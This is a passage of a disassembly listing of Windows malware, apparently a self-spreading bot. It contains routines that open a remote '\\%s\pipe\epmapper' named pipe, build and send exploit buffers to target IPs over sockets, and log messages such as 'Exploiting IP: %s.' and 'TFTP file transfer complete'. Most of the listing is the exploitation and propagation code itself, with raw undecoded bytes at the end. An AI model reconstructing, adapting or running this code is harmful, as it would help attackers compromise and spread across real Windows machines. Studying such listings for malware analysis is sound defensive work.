		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D98D
		cmp	al, 0FFh
		jz	short loc_40D98D
		dec	al
		mov	[ecx], al
		jmp	short loc_40D994
; ---------------------------------------------------------------------------


loc_40D98D:				; CODE XREF: sub_40D968+19j
					; sub_40D968+1Dj
		push	ecx
		call	sub_41D3EF
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D968+8j
					; sub_40D968+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D968	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9A4	proc near		; CODE XREF: ___:0040D6C4p
					; sub_40DAFD+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40D9D2
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CAB0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9D2:				; CODE XREF: sub_40D9A4+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9D9	proc near		; CODE XREF: sub_40D815+39p
					; sub_40D815+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9EC
		call	sub_426453


loc_40D9EC:				; CODE XREF: sub_40D9D9+Cj
		mov	ecx, edi
		call	sub_40DAFD
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA02
		mov	ebx, eax


loc_40DA02:				; CODE XREF: sub_40D9D9+25j
		test	ebx, ebx
		jbe	short loc_40DA38
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D400
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40DA38
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA38:				; CODE XREF: sub_40D9D9+2Bj
					; sub_40D9D9+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA40	proc near		; CODE XREF: sub_40D8E3+79p
		mov	eax, offset loc_426D8C
		call	sub_41D3D0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA66
		mov	edi, [ebp+8]


loc_40DA66:				; CODE XREF: sub_40DA40+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA73
		xor	eax, eax


loc_40DA73:				; CODE XREF: sub_40DA40+2Fj
		push	eax
		call	sub_41D735
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAA4
; ---------------------------------------------------------------------------


loc_40DA7F:				; DATA XREF: ___:00427FCCo
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA8E
		xor	eax, eax


loc_40DA8E:				; CODE XREF: sub_40DA40+4Aj
		push	eax
		call	sub_41D735
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DA9E
		retn
; ---------------------------------------------------------------------------


loc_40DA9E:				; DATA XREF: sub_40DA40+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAA4:				; CODE XREF: sub_40DA40+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAC2
		cmp	eax, edi
		jbe	short loc_40DAB1
		mov	eax, edi


loc_40DAB1:				; CODE XREF: sub_40DA40+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch


loc_40DAC2:				; CODE XREF: sub_40DA40+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D968
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAE2
		mov	edi, ebx


loc_40DAE2:				; CODE XREF: sub_40DA40+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA40	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DAFD	proc near		; CODE XREF: sub_40D9D9+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB2A
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB2A
		cmp	al, 0FFh
		jz	short loc_40DB2A
		push	1
		call	sub_40D968
		push	esi
		call	sub_41B960
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9A4


loc_40DB2A:				; CODE XREF: sub_40DAFD+9j
					; sub_40DAFD+10j ...
		pop	edi
		pop	esi
		retn
sub_40DAFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB2D	proc near		; DATA XREF: ___:00429008o
		test	byte_4D9A2C, 1
		jnz	short loc_40DB3D
		or	byte_4D9A2C, 1


loc_40DB3D:				; CODE XREF: sub_40DB2D+7j
		jmp	$+5
		push	offset nullsub_2
		call	sub_41D7B0
		pop	ecx
		retn
sub_40DB2D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB4F	proc near		; CODE XREF: ___:0040DF65p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_4329A0
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432998
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43B4B8
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D7F1
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D7F1
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CC024
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4C93A4
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC13
		cmp	eax, ebx
		jnz	short loc_40DC1D


loc_40DC13:				; CODE XREF: sub_40DB4F+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4C93A4


loc_40DC1D:				; CODE XREF: sub_40DB4F+C2j
		cmp	eax, 5
		jz	short loc_40DC2B
		cmp	eax, ebx
		jz	short loc_40DC2B
		push	1
		pop	eax
		jmp	short loc_40DC2D
; ---------------------------------------------------------------------------


loc_40DC2B:				; CODE XREF: sub_40DB4F+D1j
					; sub_40DB4F+D5j
		xor	eax, eax


loc_40DC2D:				; CODE XREF: sub_40DB4F+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC32	proc near		; CODE XREF: ___:0040DFB7p
					; ___:0040E097p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_4329A0
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432998
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43B4B8
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D7F1
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D7F1
		add	esp, 10h


loc_40DCC3:				; CODE XREF: sub_40DC32+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4C923C
		test	eax, eax
		jz	short loc_40DCE3
		push	7D0h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_40DCC3
; ---------------------------------------------------------------------------


loc_40DCE3:				; CODE XREF: sub_40DC32+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCEA	proc near		; CODE XREF: ___:0040DFE6p
					; ___:0040E124p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C2A0
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B21E
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF39
		push	ebx
		mov	ebx, offset off_4328B4
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CAB0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CAB0
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD6F:				; CODE XREF: sub_40DCEA+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDBF
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CAB0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CAB0
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD6F
; ---------------------------------------------------------------------------


loc_40DDBF:				; CODE XREF: sub_40DCEA+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDDA
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDE3
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDE1
; ---------------------------------------------------------------------------


loc_40DDDA:				; CODE XREF: sub_40DCEA+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDE1:				; CODE XREF: sub_40DCEA+EEj
		jnz	short loc_40DDEC


loc_40DDE3:				; CODE XREF: sub_40DCEA+E5j
		push	4
		push	offset dword_432994
		jmp	short loc_40DDF3
; ---------------------------------------------------------------------------


loc_40DDEC:				; CODE XREF: sub_40DCEA:loc_40DDE1j
		push	4
		push	offset dword_432990


loc_40DDF3:				; CODE XREF: sub_40DCEA+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_4324C8
		push	eax
		call	sub_41CAB0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_43282C
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CAB0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_432840
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CAB0
		add	edi, 3Ch
		push	30h
		push	offset dword_432880
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CAB0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BC9B
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BD10
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CAB0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF39:				; CODE XREF: sub_40DCEA+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCEA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C2A0
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0AB
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB4F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1BB
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	near ptr 27107F7h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFC2


loc_40DFB3:				; CODE XREF: ___:0040E063j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC32
		pop	ecx
		jmp	loc_40E1BB
; ---------------------------------------------------------------------------


loc_40DFC2:				; CODE XREF: ___:0040DFB1j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_41827E
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCEA
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E05A
		mov	edi, 186A0h
		push	edi
		call	sub_41BC9B
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BD10
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_43247C
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E04A
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40E068


loc_40E04A:				; CODE XREF: ___:0040E030j
		push	esi
		call	sub_41BA31
		push	dword ptr [ebp-8]
		call	sub_41BA31
		pop	ecx
		pop	ecx


loc_40E05A:				; CODE XREF: ___:0040DFF6j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 266053Bh
		jmp	loc_40DFB3
; ---------------------------------------------------------------------------


loc_40E068:				; CODE XREF: ___:0040E048j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	near ptr 26F1192h
		nop
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA31
		push	esi
		call	sub_41BA31
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	near ptr 266053Bh
		nop
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC32
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1CF
		jmp	loc_40E1BB
; ---------------------------------------------------------------------------


loc_40E0AB:				; CODE XREF: ___:0040DF57j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_41827E
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1BB
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4C9384
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1BB
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4C9304
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C9344
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCEA
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E13D
		push	dword ptr [ebp-4]
		jmp	short loc_40E1B5
; ---------------------------------------------------------------------------


loc_40E13D:				; CODE XREF: ___:0040E136j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E155


loc_40E152:				; CODE XREF: ___:0040E167j
		push	esi
		jmp	short loc_40E1AE
; ---------------------------------------------------------------------------


loc_40E155:				; CODE XREF: ___:0040E150j
		push	ebx
		push	48h
		push	offset dword_43247C
		push	edi
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E152
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4C931C
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E196
		push	dword ptr [ebp-8]
		jmp	short loc_40E1AE
; ---------------------------------------------------------------------------


loc_40E196:				; CODE XREF: ___:0040E18Fj
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4C931C
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1C2


loc_40E1AE:				; CODE XREF: ___:0040E153j
					; ___:0040E194j
		call	sub_41BA31
		pop	ecx
		push	edi


loc_40E1B5:				; CODE XREF: ___:0040E13Bj
		call	dword_4C939C


loc_40E1BB:				; CODE XREF: ___:0040DF6Ej
					; ___:0040DFBDj ...
		xor	eax, eax
		jmp	loc_40E27E
; ---------------------------------------------------------------------------


loc_40E1C2:				; CODE XREF: ___:0040E1ACj
		call	sub_41BA31
		pop	ecx
		push	edi
		call	dword_4C939C


loc_40E1CF:				; CODE XREF: ___:0040E0A0j
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		xor	esi, esi


loc_40E1E9:				; CODE XREF: ___:0040E209j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415DCF
		test	eax, eax
		pop	ecx
		jnz	short loc_40E20D
		push	1388h
		nop
		call	near ptr 2670EE1h
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1E9
		jmp	short loc_40E27B
; ---------------------------------------------------------------------------


loc_40E20D:				; CODE XREF: ___:0040E1F8j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E259
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409862
		add	esp, 14h


loc_40E259:				; CODE XREF: ___:0040E23Aj
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415CEE
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40E27B:				; CODE XREF: ___:0040E20Bj
		push	1
		pop	eax


loc_40E27E:				; CODE XREF: ___:0040E1BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E283	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40E283	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E288	proc near
		mov	eax, dword_432B98
		add	eax, 6
		mov	dword_4CC028, eax
		retn
sub_40E288	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E296	proc near		; CODE XREF: sub_40E296+D0p
					; ___:0040E7F5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40E2AA
		or	[ebp+arg_7], 1
		jmp	short loc_40E2AE
; ---------------------------------------------------------------------------


loc_40E2AA:				; CODE XREF: sub_40E296+Cj
		and	[ebp+arg_7], 0FEh


loc_40E2AE:				; CODE XREF: sub_40E296+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40E2D2
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40E2E4
; ---------------------------------------------------------------------------


loc_40E2D2:				; CODE XREF: sub_40E296+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40E2E4:				; CODE XREF: sub_40E296+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40E37D
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_40E374
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40E374
		push	[ebp+arg_20]
		call	sub_41BA31
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40E370
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40E296
		add	esp, 2Ch
		jmp	short loc_40E37F
; ---------------------------------------------------------------------------


loc_40E370:				; CODE XREF: sub_40E296+B3j
		mov	al, 1
		jmp	short loc_40E37F
; ---------------------------------------------------------------------------


loc_40E374:				; CODE XREF: sub_40E296+9Cj
					; sub_40E296+A4j
		push	[ebp+arg_20]
		call	sub_41BA31
		pop	ecx


loc_40E37D:				; CODE XREF: sub_40E296+61j
		xor	al, al


loc_40E37F:				; CODE XREF: sub_40E296+D8j
					; sub_40E296+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E296	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db 0B8h	; ╦
		db 0DCh	; э
		db  60h	; `
		db    0
		db    0
		db 0E8h	; Х
		db  0Fh
		db 0DFh	; ъ
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db 0D8h	; ь
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db  5Fh	; _
		db 0F5h	; У
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; ш
		db  85h	; ┘
		db 0C0h	; ю
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  14h
		db  2Ch	; ,
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db  3Dh	; =
		db 0DDh	; щ
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; Х
		db  3Eh	; >
		db 0D9h	; ы
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  89h	; ┴
		db  85h	; ┘
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ╦
		db 0B8h	; ╦
		db 0B4h	; ╢
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; Х
		db  3Bh	; ;
		db  82h	; ┌
		db    1
		db    0
